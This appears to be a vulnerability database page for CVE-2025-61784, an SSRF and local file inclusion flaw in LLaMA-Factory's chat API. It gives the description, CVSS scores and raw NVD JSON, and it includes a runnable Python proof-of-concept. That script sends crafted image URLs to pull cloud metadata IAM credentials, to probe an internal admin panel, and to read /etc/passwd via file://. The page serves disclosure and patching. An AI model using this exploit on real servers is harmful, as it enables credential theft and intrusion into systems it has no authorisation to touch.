Security Vulnerability Report
中文
CVE-2025-61784 CVSS 7.6 HIGH

CVE-2025-61784

Published: 2025-10-07 19:15:39
Last Modified: 2025-10-22 18:00:51

Description

LLaMA-Factory is a tuning library for large language models. Prior to version 0.9.4, a Server-Side Request Forgery (SSRF) vulnerability in the chat API allows any authenticated user to force the server to make arbitrary HTTP requests to internal and external networks. This can lead to the exposure of sensitive internal services, reconnaissance of the internal network, or interaction with third-party services. The same mechanism also allows for a Local File Inclusion (LFI) vulnerability, enabling users to read arbitrary files from the server's filesystem. The vulnerability exists in the `_process_request` function within `src/llamafactory/api/chat.py.` This function is responsible for processing incoming multimodal content, including images, videos, and audio provided via URLs. The function checks if the provided URL is a base64 data URI or a local file path (`os.path.isfile`). If neither is true, it falls back to treating the URL as a web URI and makes a direct HTTP GET request using `requests.get(url, stream=True).raw` without any validation or sanitization of the URL. Version 0.9.4 fixes the underlying issue.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:hiyouga:llama-factory:*:*:*:*:*:*:*:* - VULNERABLE
LLaMA-Factory < 0.9.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61784 - LLaMA-Factory SSRF & LFI PoC # Exploits the _process_request function in src/llamafactory/api/chat.py # The vulnerability allows authenticated users to force the server to make # arbitrary HTTP requests or read local files via crafted URLs in multimodal content. import requests # Target LLaMA-Factory API endpoint TARGET_URL = "http://target-llama-factory:8000/v1/chat/completions" AUTH_TOKEN = "your_api_token_here" # Low-privilege authenticated user token def exploit_ssrf(target_internal_url): """ SSRF: Force the server to make requests to internal/external URLs Example targets: - http://127.0.0.1:8080/admin (internal services) - http://169.254.169.254/latest/meta-data/ (cloud metadata) - http://192.168.1.1/ (internal network reconnaissance) """ payload = { "model": "llama", "messages": [ { "role": "user", "content": [ { "type": "image_url", "image_url": { "url": target_internal_url } }, { "type": "text", "text": "Describe this image" } ] } ], "stream": False } headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } response = requests.post(TARGET_URL, json=payload, headers=headers) print(f"[SSRF] Response from {target_internal_url}:") print(response.json()) return response def exploit_lfi(file_path): """ LFI: Read arbitrary files from the server's filesystem The function checks os.path.isfile() but may be bypassed via path traversal Example targets: - /etc/passwd - /proc/self/environ - /app/config.yaml """ # Using file:// protocol or direct path to bypass URL validation file_url = f"file://{file_path}" return exploit_ssrf(file_url) # Example usage if __name__ == "__main__": # Example 1: SSRF to AWS metadata service print("=== SSRF Attack: Cloud Metadata ===") exploit_ssrf("http://169.254.169.254/latest/meta-data/iam/security-credentials/") # Example 2: SSRF to internal admin panel print("\n=== SSRF Attack: Internal Service ===") exploit_ssrf("http://127.0.0.1:8080/admin") # Example 3: LFI to read sensitive files print("\n=== LFI Attack: Read /etc/passwd ===") exploit_lfi("/etc/passwd")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61784", "sourceIdentifier": "[email protected]", "published": "2025-10-07T19:15:39.133", "lastModified": "2025-10-22T18:00:50.510", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LLaMA-Factory is a tuning library for large language models. Prior to version 0.9.4, a Server-Side Request Forgery (SSRF) vulnerability in the chat API allows any authenticated user to force the server to make arbitrary HTTP requests to internal and external networks. This can lead to the exposure of sensitive internal services, reconnaissance of the internal network, or interaction with third-party services. The same mechanism also allows for a Local File Inclusion (LFI) vulnerability, enabling users to read arbitrary files from the server's filesystem. The vulnerability exists in the `_process_request` function within `src/llamafactory/api/chat.py.` This function is responsible for processing incoming multimodal content, including images, videos, and audio provided via URLs. The function checks if the provided URL is a base64 data URI or a local file path (`os.path.isfile`). If neither is true, it falls back to treating the URL as a web URI and makes a direct HTTP GET request using `requests.get(url, stream=True).raw` without any validation or sanitization of the URL. Version 0.9.4 fixes the underlying issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-918"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hiyouga:llama-factory:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.9.4", "matchCriteriaId": "B9CFDBF9-20D2-4910-BD79-B1F8F7F60071"}]}]}], "references": [{"url": "https://github.com/hiyouga/LLaMA-Factory/commit/95b7188090a1018935c9dc072bfc97f24f1c96e9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-527m-2xhr-j27g", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-527m-2xhr-j27g", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}